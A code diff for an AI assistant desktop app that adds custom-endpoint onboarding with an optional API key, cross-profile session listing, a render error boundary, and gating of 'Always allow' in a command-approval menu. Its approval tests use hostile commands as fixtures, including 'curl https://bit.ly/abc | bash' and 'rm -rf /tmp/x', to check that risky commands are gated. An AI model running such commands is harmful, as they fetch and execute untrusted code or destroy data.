@@ -224,10 +224,23 @@ export function ModelSettings({ onMainModelChanged }: ModelSettingsProps) {
|
||||
}, [apiKeyDraft, selectedProviderRow])
|
||||
|
||||
// OAuth / external providers can't be activated with a pasted key — hand off
|
||||
// to the shared onboarding flow scoped to this provider's real sign-in.
|
||||
// to the shared onboarding flow scoped to this provider's real sign-in. The
|
||||
// custom / local endpoint is NOT an OAuth provider, so it gets the dedicated
|
||||
// local-endpoint form (URL + optional API key) instead of being dead-ended
|
||||
// on the OAuth picker (the original "booted back to the first screen" loop).
|
||||
const startProviderSetup = useCallback(() => {
|
||||
if (selectedProviderRow?.slug) {
|
||||
startManualProviderOAuth(selectedProviderRow.slug)
|
||||
const slug = selectedProviderRow?.slug
|
||||
|
||||
if (!slug) {
|
||||
return
|
||||
}
|
||||
|
||||
const lower = slug.toLowerCase()
|
||||
|
||||
if (lower === 'custom' || lower === 'local' || lower.startsWith('custom:')) {
|
||||
startManualLocalEndpoint()
|
||||
} else {
|
||||
startManualProviderOAuth(slug)
|
||||
}
|
||||
}, [selectedProviderRow])
|
||||
|
||||
|
||||
@@ -2,7 +2,7 @@ import { useCallback, useEffect, useState } from 'react'
|
||||
|
||||
import { Button } from '@/components/ui/button'
|
||||
import { Tip } from '@/components/ui/tooltip'
|
||||
import { deleteSession, listSessions, setSessionArchived } from '@/hermes'
|
||||
import { deleteSession, listAllProfileSessions, setSessionArchived } from '@/hermes'
|
||||
import { useI18n } from '@/i18n'
|
||||
import { sessionTitle } from '@/lib/chat-runtime'
|
||||
import { triggerHaptic } from '@/lib/haptics'
|
||||
@@ -43,14 +43,14 @@ export function SessionsSettings() {
|
||||
setLoading(true)
|
||||
|
||||
try {
|
||||
const result = await listSessions(ARCHIVED_FETCH_LIMIT, 0, 'only')
|
||||
const result = await listAllProfileSessions(ARCHIVED_FETCH_LIMIT, 0, 'only')
|
||||
setLocalSessions(result.sessions)
|
||||
} catch (err) {
|
||||
notifyError(err, s.failedLoad)
|
||||
} finally {
|
||||
setLoading(false)
|
||||
}
|
||||
}, [])
|
||||
}, [s.failedLoad])
|
||||
|
||||
useEffect(() => {
|
||||
void load()
|
||||
|
||||
@@ -0,0 +1,80 @@
|
||||
import { cleanup, render, screen } from '@testing-library/react'
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
import { MessageRenderBoundary } from './message-render-boundary'
|
||||
|
||||
afterEach(cleanup)
|
||||
|
||||
function Boom({ error }: { error: Error | null }): null {
|
||||
if (error) {
|
||||
throw error
|
||||
}
|
||||
|
||||
return null
|
||||
}
|
||||
|
||||
const lookupError = new Error('tapClientLookup: Index 2 out of bounds (length: 2)')
|
||||
|
||||
describe('MessageRenderBoundary', () => {
|
||||
it('renders children when nothing throws', () => {
|
||||
render(
|
||||
<MessageRenderBoundary resetKey="a">
|
||||
<div>content</div>
|
||||
</MessageRenderBoundary>
|
||||
)
|
||||
|
||||
expect(screen.getByText('content')).toBeTruthy()
|
||||
})
|
||||
|
||||
it('swallows the transient tapClientLookup out-of-bounds store race', () => {
|
||||
const spy = vi.spyOn(console, 'error').mockImplementation(() => undefined)
|
||||
|
||||
const { container } = render(
|
||||
<MessageRenderBoundary resetKey="a">
|
||||
<Boom error={lookupError} />
|
||||
</MessageRenderBoundary>
|
||||
)
|
||||
|
||||
expect(container.innerHTML).toBe('')
|
||||
spy.mockRestore()
|
||||
})
|
||||
|
||||
it('recovers on the next consistent snapshot when resetKey changes', () => {
|
||||
const spy = vi.spyOn(console, 'error').mockImplementation(() => undefined)
|
||||
|
||||
const { rerender } = render(
|
||||
<MessageRenderBoundary resetKey="a">
|
||||
<Boom error={lookupError} />
|
||||
</MessageRenderBoundary>
|
||||
)
|
||||
|
||||
rerender(
|
||||
<MessageRenderBoundary resetKey="b">
|
||||
<Boom error={null} />
|
||||
</MessageRenderBoundary>
|
||||
)
|
||||
|
||||
rerender(
|
||||
<MessageRenderBoundary resetKey="b">
|
||||
<div>recovered</div>
|
||||
</MessageRenderBoundary>
|
||||
)
|
||||
|
||||
expect(screen.getByText('recovered')).toBeTruthy()
|
||||
spy.mockRestore()
|
||||
})
|
||||
|
||||
it('re-throws unrelated errors so real bugs still surface', () => {
|
||||
const spy = vi.spyOn(console, 'error').mockImplementation(() => undefined)
|
||||
|
||||
expect(() =>
|
||||
render(
|
||||
<MessageRenderBoundary resetKey="a">
|
||||
<Boom error={new Error('genuine render bug')} />
|
||||
</MessageRenderBoundary>
|
||||
)
|
||||
).toThrow('genuine render bug')
|
||||
|
||||
spy.mockRestore()
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,48 @@
|
||||
import { Component, type ReactNode } from 'react'
|
||||
|
||||
// `@assistant-ui/store`'s index-keyed child-scope lookup (`tapClientLookup`)
|
||||
// throws — rather than returning undefined — when a subscriber reads an index
|
||||
// that the message/parts list no longer has. This races during high-frequency
|
||||
// store replacement (session switch mid-stream, gateway reconnect replay): a
|
||||
// subscriber from the previous, longer list is still in React's notification
|
||||
// queue and reads one slot past the new, shorter array before it can unmount.
|
||||
// The throw is transient and self-heals on the next consistent snapshot, but
|
||||
// without a local boundary it unwinds to the root and blanks the whole app.
|
||||
// Upstream-tracked: assistant-ui/assistant-ui#4051, #3652.
|
||||
const isTransientLookupError = (error: unknown): boolean =>
|
||||
error instanceof Error && /tapClient(Lookup|Resource).*out of bounds/.test(error.message)
|
||||
|
||||
interface Props {
|
||||
// Changes whenever the message list mutates; remounting clears the caught
|
||||
// error so the next consistent render recovers silently.
|
||||
resetKey: string
|
||||
children: ReactNode
|
||||
}
|
||||
|
||||
export class MessageRenderBoundary extends Component<Props, { error: Error | null }> {
|
||||
state: { error: Error | null } = { error: null }
|
||||
|
||||
static getDerivedStateFromError(error: Error) {
|
||||
return { error }
|
||||
}
|
||||
|
||||
componentDidUpdate(prev: Props) {
|
||||
if (this.state.error && prev.resetKey !== this.props.resetKey) {
|
||||
this.setState({ error: null })
|
||||
}
|
||||
}
|
||||
|
||||
render() {
|
||||
if (this.state.error) {
|
||||
// Only swallow the transient store race; re-throw anything else so real
|
||||
// bugs still reach the root error boundary.
|
||||
if (!isTransientLookupError(this.state.error)) {
|
||||
throw this.state.error
|
||||
}
|
||||
|
||||
return null
|
||||
}
|
||||
|
||||
return this.props.children
|
||||
}
|
||||
}
|
||||
@@ -16,6 +16,8 @@ import { setMutableRef } from '@/lib/mutable-ref'
|
||||
import { cn } from '@/lib/utils'
|
||||
import { setThreadScrolledUp } from '@/store/thread-scroll'
|
||||
|
||||
import { MessageRenderBoundary } from './message-render-boundary'
|
||||
|
||||
const ESTIMATED_ITEM_HEIGHT = 220
|
||||
const OVERSCAN = 4
|
||||
const AT_BOTTOM_THRESHOLD = 4
|
||||
@@ -180,18 +182,20 @@ const VirtualizedThreadInner: FC<VirtualizedThreadProps> = ({
|
||||
key={virtualItem.key}
|
||||
ref={virtualizer.measureElement}
|
||||
>
|
||||
{group.kind === 'turn' ? (
|
||||
<div
|
||||
className="composer-human-ai-pair-container relative flex min-w-0 flex-col gap-(--conversation-turn-gap)"
|
||||
data-slot="aui_turn-pair"
|
||||
>
|
||||
{group.indices.map(index => (
|
||||
<ThreadPrimitive.MessageByIndex components={components} index={index} key={index} />
|
||||
))}
|
||||
</div>
|
||||
) : (
|
||||
<ThreadPrimitive.MessageByIndex components={components} index={group.index} />
|
||||
)}
|
||||
<MessageRenderBoundary resetKey={messageSignature}>
|
||||
{group.kind === 'turn' ? (
|
||||
<div
|
||||
className="composer-human-ai-pair-container relative flex min-w-0 flex-col gap-(--conversation-turn-gap)"
|
||||
data-slot="aui_turn-pair"
|
||||
>
|
||||
{group.indices.map(index => (
|
||||
<ThreadPrimitive.MessageByIndex components={components} index={index} key={index} />
|
||||
))}
|
||||
</div>
|
||||
) : (
|
||||
<ThreadPrimitive.MessageByIndex components={components} index={group.index} />
|
||||
)}
|
||||
</MessageRenderBoundary>
|
||||
</div>
|
||||
)
|
||||
})}
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest'
|
||||
import { afterEach, beforeAll, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
import type { HermesGateway } from '@/hermes'
|
||||
import { $gateway } from '@/store/gateway'
|
||||
@@ -9,13 +9,30 @@ import { $activeSessionId } from '@/store/session'
|
||||
import { PendingToolApproval } from './tool-approval'
|
||||
import type { ToolPart } from './tool-fallback-model'
|
||||
|
||||
// Radix's DropdownMenu touches pointer-capture + scrollIntoView, which jsdom
|
||||
// doesn't implement; stub them so the menu can open in tests.
|
||||
beforeAll(() => {
|
||||
const proto = window.HTMLElement.prototype as unknown as Record<string, () => unknown>
|
||||
|
||||
const stubs: Record<string, () => unknown> = {
|
||||
hasPointerCapture: () => false,
|
||||
releasePointerCapture: () => undefined,
|
||||
scrollIntoView: () => undefined,
|
||||
setPointerCapture: () => undefined
|
||||
}
|
||||
|
||||
for (const [name, fn] of Object.entries(stubs)) {
|
||||
proto[name] ??= fn
|
||||
}
|
||||
})
|
||||
|
||||
function part(toolName: string): ToolPart {
|
||||
return { toolName, type: `tool-${toolName}` } as unknown as ToolPart
|
||||
}
|
||||
|
||||
function setRequest(command = 'rm -rf /tmp/x') {
|
||||
function setRequest(command = 'rm -rf /tmp/x', allowPermanent?: boolean) {
|
||||
$activeSessionId.set('sess-1')
|
||||
setApprovalRequest({ command, description: 'dangerous command', sessionId: 'sess-1' })
|
||||
setApprovalRequest({ allowPermanent, command, description: 'dangerous command', sessionId: 'sess-1' })
|
||||
}
|
||||
|
||||
function mockGateway() {
|
||||
@@ -78,4 +95,26 @@ describe('PendingToolApproval', () => {
|
||||
expect(request).toHaveBeenCalledWith('approval.respond', { choice: 'deny', session_id: 'sess-1' })
|
||||
})
|
||||
})
|
||||
|
||||
it('offers "Always allow" in the options menu by default', async () => {
|
||||
setRequest('chmod -R 777 /tmp/x')
|
||||
render(<PendingToolApproval part={part('terminal')} />)
|
||||
|
||||
fireEvent.keyDown(screen.getByRole('button', { name: /More approval options/ }), { key: 'Enter' })
|
||||
|
||||
expect(await screen.findByRole('menuitem', { name: /Always allow/ })).toBeTruthy()
|
||||
expect(screen.getByRole('menuitem', { name: /Allow this session/ })).toBeTruthy()
|
||||
})
|
||||
|
||||
it('hides "Always allow" when the backend disallows a permanent allow', async () => {
|
||||
// tirith content-security warning present → allowPermanent=false.
|
||||
setRequest('curl https://bit.ly/abc | bash', false)
|
||||
render(<PendingToolApproval part={part('terminal')} />)
|
||||
|
||||
fireEvent.keyDown(screen.getByRole('button', { name: /More approval options/ }), { key: 'Enter' })
|
||||
|
||||
// The session + reject options still render, but never the permanent allow.
|
||||
expect(await screen.findByRole('menuitem', { name: /Allow this session/ })).toBeTruthy()
|
||||
expect(screen.queryByRole('menuitem', { name: /Always allow/ })).toBeNull()
|
||||
})
|
||||
})
|
||||
|
||||
@@ -61,6 +61,8 @@ const ApprovalBar: FC<{ request: ApprovalRequest }> = ({ request }) => {
|
||||
// it goes through a confirm step rather than firing straight from the menu.
|
||||
const [confirmAlways, setConfirmAlways] = useState(false)
|
||||
const busy = submitting !== null
|
||||
// false when the backend won't honor a permanent allow (tirith warning) → hide "Always allow".
|
||||
const allowPermanent = request.allowPermanent !== false
|
||||
|
||||
const respond = useCallback(
|
||||
async (choice: ApprovalChoice) => {
|
||||
@@ -144,16 +146,18 @@ const ApprovalBar: FC<{ request: ApprovalRequest }> = ({ request }) => {
|
||||
</DropdownMenuTrigger>
|
||||
<DropdownMenuContent align="start" className="min-w-44">
|
||||
<DropdownMenuItem onSelect={() => void respond('session')}>{copy.allowSession}</DropdownMenuItem>
|
||||
<DropdownMenuItem
|
||||
onSelect={() => {
|
||||
// Defer one tick so the menu fully unmounts before the dialog
|
||||
// mounts — otherwise Radix's focus-return races the dialog and
|
||||
// dismisses it via onInteractOutside.
|
||||
setTimeout(() => setConfirmAlways(true), 0)
|
||||
}}
|
||||
>
|
||||
{copy.alwaysAllowMenu}
|
||||
</DropdownMenuItem>
|
||||
{allowPermanent && (
|
||||
<DropdownMenuItem
|
||||
onSelect={() => {
|
||||
// Defer one tick so the menu fully unmounts before the dialog
|
||||
// mounts — otherwise Radix's focus-return races the dialog and
|
||||
// dismisses it via onInteractOutside.
|
||||
setTimeout(() => setConfirmAlways(true), 0)
|
||||
}}
|
||||
>
|
||||
{copy.alwaysAllowMenu}
|
||||
</DropdownMenuItem>
|
||||
)}
|
||||
<DropdownMenuItem onSelect={() => void respond('deny')} variant="destructive">
|
||||
{copy.reject}
|
||||
</DropdownMenuItem>
|
||||
|
||||
@@ -279,11 +279,14 @@ function ToolEntry({ part }: ToolEntryProps) {
|
||||
|
||||
const copyAction = useMemo(() => toolCopyPayload(part, view), [part, view])
|
||||
|
||||
// The header trailing slot only carries the live duration timer while the
|
||||
// tool is running. The copy control used to live here too, but an
|
||||
// `opacity-0` (yet still clickable) button straddling the caret/duration made
|
||||
// the disclosure caret hard to hit. Copy now lives in the expanded body's
|
||||
// top-right, where it can't fight the caret for the right edge.
|
||||
const trailing =
|
||||
isPending && !embedded ? (
|
||||
<ActivityTimerText className={TOOL_HEADER_DURATION_CLASS} seconds={elapsed} />
|
||||
) : !isPending && copyAction.text ? (
|
||||
<CopyButton appearance="tool-row" label={copyAction.label} stopPropagation text={copyAction.text} />
|
||||
) : undefined
|
||||
|
||||
return (
|
||||
@@ -322,7 +325,18 @@ function ToolEntry({ part }: ToolEntryProps) {
|
||||
</div>
|
||||
{isPending && <PendingToolApproval part={part} />}
|
||||
{open && (
|
||||
<div className="grid w-full min-w-0 max-w-full gap-1.5 overflow-hidden p-1.5">
|
||||
<div className="relative grid w-full min-w-0 max-w-full gap-1.5 overflow-hidden p-1.5">
|
||||
{copyAction.text && (
|
||||
<CopyButton
|
||||
appearance="inline"
|
||||
className="absolute right-1.5 top-1.5 z-10 h-5 gap-0 rounded-md border border-(--ui-stroke-tertiary) bg-background/80 px-1 opacity-60 backdrop-blur-sm transition-opacity hover:opacity-100 focus-visible:opacity-100"
|
||||
iconClassName="size-3"
|
||||
label={copyAction.label}
|
||||
showLabel={false}
|
||||
stopPropagation
|
||||
text={copyAction.text}
|
||||
/>
|
||||
)}
|
||||
{!embedded && view.previewTarget && isPreviewableTarget(view.previewTarget) && (
|
||||
<PreviewAttachment source="tool-result" target={view.previewTarget} />
|
||||
)}
|
||||
|
||||
@@ -127,7 +127,9 @@ const InlineSegmentView: FC<{ text: string }> = ({ text }) => {
|
||||
const nodes = useMemo(() => splitInlineCode(text), [text])
|
||||
|
||||
return (
|
||||
<span className="wrap-anywhere block whitespace-pre-line">
|
||||
// styles.css bidi hook (#44150); whitespace-pre-line makes each line its own
|
||||
// UAX#9 paragraph so it resolves direction independently.
|
||||
<span className="wrap-anywhere block whitespace-pre-line" data-slot="aui_user-inline-text">
|
||||
{nodes.map((node, nodeIndex) =>
|
||||
node.kind === 'inline-code' ? (
|
||||
<code
|
||||
|
||||
@@ -26,7 +26,8 @@ function setProviders(providers: OAuthProvider[]) {
|
||||
reason: null,
|
||||
requested: false,
|
||||
firstRunSkipped: false,
|
||||
manual: false
|
||||
manual: false,
|
||||
localEndpoint: false
|
||||
} satisfies DesktopOnboardingState)
|
||||
}
|
||||
|
||||
@@ -49,7 +50,8 @@ afterEach(() => {
|
||||
reason: null,
|
||||
requested: false,
|
||||
firstRunSkipped: false,
|
||||
manual: false
|
||||
manual: false,
|
||||
localEndpoint: false
|
||||
})
|
||||
})
|
||||
|
||||
|
||||
@@ -430,19 +430,24 @@ const persistShowAll = (value: boolean) => {
|
||||
|
||||
export function Picker({ ctx }: { ctx: OnboardingContext }) {
|
||||
const { t } = useI18n()
|
||||
const { manual, mode, providers } = useStore($desktopOnboarding)
|
||||
const { localEndpoint, manual, mode, providers } = useStore($desktopOnboarding)
|
||||
const [showAll, setShowAll] = useState(readShowAll)
|
||||
const ordered = useMemo(() => (providers ? sortProviders(providers) : []), [providers])
|
||||
const hasOauth = ordered.length > 0
|
||||
const apiKeyOptions = useApiKeyCatalog()
|
||||
|
||||
if (mode === 'apikey' || !hasOauth) {
|
||||
// localEndpoint forces the key form regardless of `mode` (which a manual
|
||||
// provider refresh may flip back to 'oauth'); it preselects the local option
|
||||
// and hides the "back to sign in" link since the user came specifically to
|
||||
// configure a custom endpoint.
|
||||
if (localEndpoint || mode === 'apikey' || !hasOauth) {
|
||||
return (
|
||||
<div className="grid gap-3">
|
||||
<ApiKeyForm
|
||||
canGoBack={hasOauth}
|
||||
canGoBack={hasOauth && !localEndpoint}
|
||||
initialEnvKey={localEndpoint ? 'OPENAI_BASE_URL' : undefined}
|
||||
onBack={() => setOnboardingMode('oauth')}
|
||||
onSave={(envKey, value, name) => saveOnboardingApiKey(envKey, value, name, ctx)}
|
||||
onSave={(envKey, value, name, apiKey) => saveOnboardingApiKey(envKey, value, name, ctx, apiKey)}
|
||||
options={apiKeyOptions}
|
||||
/>
|
||||
{manual ? null : (
|
||||
@@ -630,6 +635,7 @@ export function ProviderRow({
|
||||
// surfaces render the identical form.
|
||||
export function ApiKeyForm({
|
||||
canGoBack,
|
||||
initialEnvKey,
|
||||
isSet,
|
||||
onBack,
|
||||
onClear,
|
||||
@@ -638,16 +644,31 @@ export function ApiKeyForm({
|
||||
redactedValue
|
||||
}: {
|
||||
canGoBack: boolean
|
||||
/** Preselect a specific option by env key (e.g. 'OPENAI_BASE_URL' to land on
|
||||
* the local / custom endpoint form). Falls back to the first option. */
|
||||
initialEnvKey?: string
|
||||
isSet?: (envKey: string) => boolean
|
||||
onBack: () => void
|
||||
onClear?: (envKey: string) => void
|
||||
onSave: (envKey: string, value: string, name: string) => Promise<{ message?: string; ok: boolean }>
|
||||
onSave: (
|
||||
envKey: string,
|
||||
value: string,
|
||||
name: string,
|
||||
apiKey?: string
|
||||
) => Promise<{ message?: string; ok: boolean }>
|
||||
options?: ApiKeyOption[]
|
||||
redactedValue?: (envKey: string) => null | string | undefined
|
||||
}) {
|
||||
const { t } = useI18n()
|
||||
const [option, setOption] = useState<ApiKeyOption>(options[0])
|
||||
|
||||
const [option, setOption] = useState<ApiKeyOption>(
|
||||
() => options.find(o => o.envKey === initialEnvKey) ?? options[0]
|
||||
)
|
||||
|
||||
const [value, setValue] = useState('')
|
||||
// Optional endpoint API key, only used by the local / custom endpoint option
|
||||
// (whose `value` is the base URL). Cleared whenever the option changes.
|
||||
const [localKey, setLocalKey] = useState('')
|
||||
const [saving, setSaving] = useState(false)
|
||||
const [error, setError] = useState<null | string>(null)
|
||||
// `options` can change at runtime when callers filter the catalog (e.g. the
|
||||
@@ -657,6 +678,7 @@ export function ApiKeyForm({
|
||||
if (options.length > 0 && !options.some(o => o.envKey === option.envKey)) {
|
||||
setOption(options[0])
|
||||
setValue('')
|
||||
setLocalKey('')
|
||||
setError(null)
|
||||
}
|
||||
}, [option.envKey, options])
|
||||
@@ -668,6 +690,7 @@ export function ApiKeyForm({
|
||||
const pick = (o: ApiKeyOption) => {
|
||||
setOption(o)
|
||||
setValue('')
|
||||
setLocalKey('')
|
||||
setError(null)
|
||||
requestAnimationFrame(() => {
|
||||
entryRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' })
|
||||
@@ -693,10 +716,11 @@ export function ApiKeyForm({
|
||||
|
||||
setSaving(true)
|
||||
setError(null)
|
||||
const result = await onSave(option.envKey, value, option.name)
|
||||
const result = await onSave(option.envKey, value, option.name, isLocal ? localKey : undefined)
|
||||
|
||||
if (result.ok) {
|
||||
setValue('')
|
||||
setLocalKey('')
|
||||
} else {
|
||||
setError(result.message ?? t.onboarding.couldNotSave)
|
||||
}
|
||||
@@ -759,6 +783,17 @@ export function ApiKeyForm({
|
||||
type={isLocal ? 'text' : 'password'}
|
||||
value={value}
|
||||
/>
|
||||
{isLocal ? (
|
||||
<Input
|
||||
autoComplete="off"
|
||||
className="font-mono"
|
||||
onChange={e => setLocalKey(e.target.value)}
|
||||
onKeyDown={e => e.key === 'Enter' && void submit()}
|
||||
placeholder={t.onboarding.localApiKeyPlaceholder}
|
||||
type="password"
|
||||
value={localKey}
|
||||
/>
|
||||
) : null}
|
||||
{error ? <p className="text-xs text-destructive">{error}</p> : null}
|
||||
</div>
|
||||
|
||||
|
||||
@@ -41,7 +41,8 @@ function resetStores() {
|
||||
reason: null,
|
||||
requested: false,
|
||||
firstRunSkipped: false,
|
||||
manual: false
|
||||
manual: false,
|
||||
localEndpoint: false
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -3,7 +3,7 @@ import { Dialog as DialogPrimitive } from 'radix-ui'
|
||||
import { useEffect, useMemo, useState } from 'react'
|
||||
|
||||
import { Command, CommandEmpty, CommandGroup, CommandInput, CommandItem, CommandList } from '@/components/ui/command'
|
||||
import { listSessions } from '@/hermes'
|
||||
import { listAllProfileSessions } from '@/hermes'
|
||||
import { useI18n } from '@/i18n'
|
||||
import { sessionTitle } from '@/lib/chat-runtime'
|
||||
import { Check, MessageCircle } from '@/lib/icons'
|
||||
@@ -35,7 +35,7 @@ export function SessionPickerDialog({
|
||||
|
||||
const sessionsQuery = useQuery({
|
||||
enabled: open,
|
||||
queryFn: () => listSessions(200, 1, 'exclude'),
|
||||
queryFn: () => listAllProfileSessions(200, 1, 'exclude'),
|
||||
queryKey: ['session-picker', 'sessions']
|
||||
})
|
||||
|
||||
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -1,6 +1,6 @@
|
||||
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
import { listAllProfileSessions, listSessions } from './hermes'
|
||||
import { getSessionMessages, listAllProfileSessions, listSessions } from './hermes'
|
||||
|
||||
const emptySessionsResponse = {
|
||||
limit: 0,
|
||||
@@ -46,4 +46,15 @@ describe('Hermes REST session helpers', () => {
|
||||
})
|
||||
)
|
||||
})
|
||||
|
||||
it('tags cross-profile message reads for Electron routing and backend lookup', async () => {
|
||||
api.mockResolvedValue({ messages: [], session_id: 'session-1' })
|
||||
|
||||
await getSessionMessages('session-1', 'xiaoxuxu')
|
||||
|
||||
expect(api).toHaveBeenCalledWith({
|
||||
path: '/api/sessions/session-1/messages?profile=xiaoxuxu',
|
||||
profile: 'xiaoxuxu'
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
@@ -54,10 +54,10 @@ export type {
|
||||
AnalyticsSkillEntry,
|
||||
AnalyticsSkillsSummary,
|
||||
AnalyticsTotals,
|
||||
BackendUpdateCheckResponse,
|
||||
AudioSpeakResponse,
|
||||
AudioTranscriptionResponse,
|
||||
AuxiliaryModelsResponse,
|
||||
BackendUpdateCheckResponse,
|
||||
ConfigFieldSchema,
|
||||
ConfigSchemaResponse,
|
||||
CronJob,
|
||||
@@ -218,6 +218,7 @@ export function getSessionMessages(id: string, profile?: string | null): Promise
|
||||
const suffix = profile ? `?profile=${encodeURIComponent(profile)}` : ''
|
||||
|
||||
return window.hermesDesktop.api<SessionMessagesResponse>({
|
||||
...(profile ? { profile } : {}),
|
||||
path: `/api/sessions/${encodeURIComponent(id)}/messages${suffix}`
|
||||
})
|
||||
}
|
||||
@@ -343,13 +344,14 @@ export function setEnvVar(key: string, value: string): Promise<{ ok: boolean }>
|
||||
|
||||
export function validateProviderCredential(
|
||||
key: string,
|
||||
value: string
|
||||
value: string,
|
||||
apiKey?: string
|
||||
): Promise<{ ok: boolean; reachable: boolean; message: string; models?: string[] }> {
|
||||
return window.hermesDesktop.api<{ ok: boolean; reachable: boolean; message: string; models?: string[] }>({
|
||||
...profileScoped(),
|
||||
path: '/api/providers/validate',
|
||||
method: 'POST',
|
||||
body: { key, value }
|
||||
body: { key, value, api_key: apiKey ?? '' }
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -1372,6 +1372,7 @@ export const en: Translations = {
|
||||
getKey: 'Get a key',
|
||||
replaceCurrent: 'Replace current value',
|
||||
pasteApiKey: 'Paste API key',
|
||||
localApiKeyPlaceholder: 'API key (optional — only if your endpoint requires one)',
|
||||
couldNotSave: 'Could not save credential.',
|
||||
connecting: 'Connecting',
|
||||
update: 'Update',
|
||||
|
||||
@@ -1041,6 +1041,7 @@ export interface Translations {
|
||||
getKey: string
|
||||
replaceCurrent: string
|
||||
pasteApiKey: string
|
||||
localApiKeyPlaceholder: string
|
||||
couldNotSave: string
|
||||
connecting: string
|
||||
update: string
|
||||
|
||||
@@ -1554,6 +1554,7 @@ export const zh: Translations = {
|
||||
getKey: '获取密钥',
|
||||
replaceCurrent: '替换当前值',
|
||||
pasteApiKey: '粘贴 API 密钥',
|
||||
localApiKeyPlaceholder: 'API 密钥(可选 — 仅当端点需要时填写)',
|
||||
couldNotSave: '无法保存凭据。',
|
||||
connecting: '连接中',
|
||||
update: '更新',
|
||||
|
||||
@@ -58,6 +58,8 @@ export type GatewayEventPayload = {
|
||||
// approval.request (dangerous command / execute_code) — session-keyed
|
||||
command?: string
|
||||
description?: string
|
||||
// False when a tirith content-security warning forbids a permanent allow.
|
||||
allow_permanent?: boolean
|
||||
// secret.request (skill credential capture)
|
||||
env_var?: string
|
||||
prompt?: string
|
||||
|
||||
@@ -5,6 +5,7 @@ import { notify, notifyError } from '@/store/notifications'
|
||||
|
||||
interface ExportSessionParams {
|
||||
sessionId: string
|
||||
profile?: string | null
|
||||
title?: string | null
|
||||
session?: SessionInfo
|
||||
}
|
||||
@@ -31,7 +32,8 @@ export async function exportSession(sessionId: string, params: Omit<ExportSessio
|
||||
}
|
||||
|
||||
try {
|
||||
const { messages } = await getSessionMessages(sessionId)
|
||||
const profile = params.profile ?? params.session?.profile
|
||||
const { messages } = await getSessionMessages(sessionId, profile)
|
||||
|
||||
const payload = {
|
||||
exported_at: new Date().toISOString(),
|
||||
|
||||
@@ -33,6 +33,7 @@ function baseState(overrides: Partial<DesktopOnboardingState> = {}): DesktopOnbo
|
||||
requested: false,
|
||||
firstRunSkipped: false,
|
||||
manual: false,
|
||||
localEndpoint: false,
|
||||
...overrides
|
||||
}
|
||||
}
|
||||
@@ -233,10 +234,12 @@ describe('OAuth onboarding', () => {
|
||||
const state = $desktopOnboarding.get()
|
||||
expect(state.reason).toBeNull()
|
||||
expect(state.flow.status).toBe('confirming_model')
|
||||
|
||||
if (state.flow.status === 'confirming_model') {
|
||||
expect(state.flow.label).toBe('Nous Portal')
|
||||
expect(state.flow.currentModel).toBe(model)
|
||||
}
|
||||
|
||||
expect(calls.some(c => c.path === '/api/model/set')).toBe(true)
|
||||
})
|
||||
})
|
||||
@@ -283,7 +286,7 @@ describe('saveOnboardingLocalEndpoint', () => {
|
||||
throw new Error(`unexpected api path: ${path}`)
|
||||
})
|
||||
|
||||
const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', {
|
||||
const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', '', {
|
||||
requestGateway: readyGateway()
|
||||
})
|
||||
|
||||
@@ -313,7 +316,7 @@ describe('saveOnboardingLocalEndpoint', () => {
|
||||
installApiMock(api)
|
||||
const onCompleted = vi.fn()
|
||||
|
||||
const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', {
|
||||
const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', '', {
|
||||
onCompleted,
|
||||
requestGateway: readyGateway()
|
||||
})
|
||||
@@ -332,6 +335,46 @@ describe('saveOnboardingLocalEndpoint', () => {
|
||||
expect($desktopOnboarding.get().configured).toBe(true)
|
||||
})
|
||||
|
||||
it('forwards the API key to the probe and persists it for auth-gated endpoints', async () => {
|
||||
const calls: { body?: unknown; path: string }[] = []
|
||||
|
||||
const api = vi.fn(async ({ body, path }: { body?: unknown; path: string }) => {
|
||||
calls.push({ body, path })
|
||||
|
||||
if (path === '/api/providers/validate') {
|
||||
return { ok: true, reachable: true, message: '', models: ['gpt-oss-120b'] }
|
||||
}
|
||||
|
||||
if (path === '/api/model/set') {
|
||||
return { ok: true, provider: 'custom', model: 'gpt-oss-120b', base_url: 'https://text.example.com/v1' }
|
||||
}
|
||||
|
||||
throw new Error(`unexpected api path: ${path}`)
|
||||
})
|
||||
|
||||
installApiMock(api)
|
||||
|
||||
const result = await saveOnboardingLocalEndpoint('https://text.example.com/v1', 'sk-secret', {
|
||||
requestGateway: readyGateway()
|
||||
})
|
||||
|
||||
expect(result.ok).toBe(true)
|
||||
|
||||
// The probe must receive the key so an auth-gated /v1/models enumerates.
|
||||
const probe = calls.find(c => c.path === '/api/providers/validate')
|
||||
expect(probe?.body).toMatchObject({ key: 'OPENAI_BASE_URL', value: 'https://text.example.com/v1', api_key: 'sk-secret' })
|
||||
|
||||
// And the key must be persisted alongside the endpoint for runtime auth.
|
||||
const assign = calls.find(c => c.path === '/api/model/set')
|
||||
expect(assign?.body).toMatchObject({
|
||||
scope: 'main',
|
||||
provider: 'custom',
|
||||
model: 'gpt-oss-120b',
|
||||
base_url: 'https://text.example.com/v1',
|
||||
api_key: 'sk-secret'
|
||||
})
|
||||
})
|
||||
|
||||
it('reports the runtime reason when resolution still fails after saving', async () => {
|
||||
installApiMock(async ({ path }: { path: string }) => {
|
||||
if (path === '/api/providers/validate') {
|
||||
@@ -361,7 +404,7 @@ describe('saveOnboardingLocalEndpoint', () => {
|
||||
throw new Error(`unexpected gateway method: ${method}`)
|
||||
}
|
||||
|
||||
const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', {
|
||||
const result = await saveOnboardingLocalEndpoint('http://127.0.0.1:8000/v1', '', {
|
||||
requestGateway: failingGateway
|
||||
})
|
||||
|
||||
|
||||
@@ -72,6 +72,11 @@ export interface DesktopOnboardingState {
|
||||
